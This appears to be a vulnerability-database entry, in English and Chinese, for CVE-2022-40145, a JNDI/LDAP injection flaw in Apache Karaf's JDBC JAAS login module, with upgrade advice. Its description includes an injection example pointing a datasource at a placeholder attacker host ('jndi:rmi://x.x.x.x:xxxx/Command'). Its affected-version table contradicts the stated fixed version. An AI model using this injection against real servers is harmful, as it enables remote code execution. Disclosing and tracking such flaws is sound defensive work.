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CVE-2022-40145— Apache Karaf: JDBC JAAS LDAP injection

Quick assessment

Affected
Apache Software Foundation Apache Karaf
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

Apache Karaf是美国阿帕奇（Apache）基金会的一款用于部署应用程序和组件的轻量级的OSGi（Java动态化模块化系统）容器。 Apache Karaf 4.3.8之前版本和4.4.2之前的4.4.x版本存在安全漏洞，该漏洞源于当攻击者控制目标LDAP服务器时配置使用JNDI LDAP数据 URI，容易受到远程代码执行(RCE)攻击。

AI Predicted 9.8 Difficulty: Trivial EPSS 2.40% · P83
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I. Basic Information for CVE-2022-40145

Vulnerability Information
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Vulnerability Title
Apache Karaf: JDBC JAAS LDAP injection
Source: CVE Program / CVE List V5
Vulnerability Description
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Source: CVE Program / CVE List V5
CVSS Information
N/A
Source: CVE Program / CVE List V5
Vulnerability Type
输出中的特殊元素转义处理不恰当(注入)
Source: CVE Program / CVE List V5
Vulnerability Title
Apache Karaf 安全漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
Apache Karaf是美国阿帕奇（Apache）基金会的一款用于部署应用程序和组件的轻量级的OSGi（Java动态化模块化系统）容器。 Apache Karaf 4.3.8之前版本和4.4.2之前的4.4.x版本存在安全漏洞，该漏洞源于当攻击者控制目标LDAP服务器时配置使用JNDI LDAP数据 URI，容易受到远程代码执行(RCE)攻击。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor Product Affected Versions CPE Subscribe
Apache Software Foundation Apache Karaf 4.4.0 ~ 4.4.2 -

II. Public POCs for CVE-2022-40145

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III. Intelligence Information for CVE-2022-40145

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Other References for CVE-2022-40145 (1)

IV. Related Vulnerabilities

Same product: Apache Karaf
Same vendor: Apache Software Foundation
Same weakness: CWE-74

V. Comments for CVE-2022-40145

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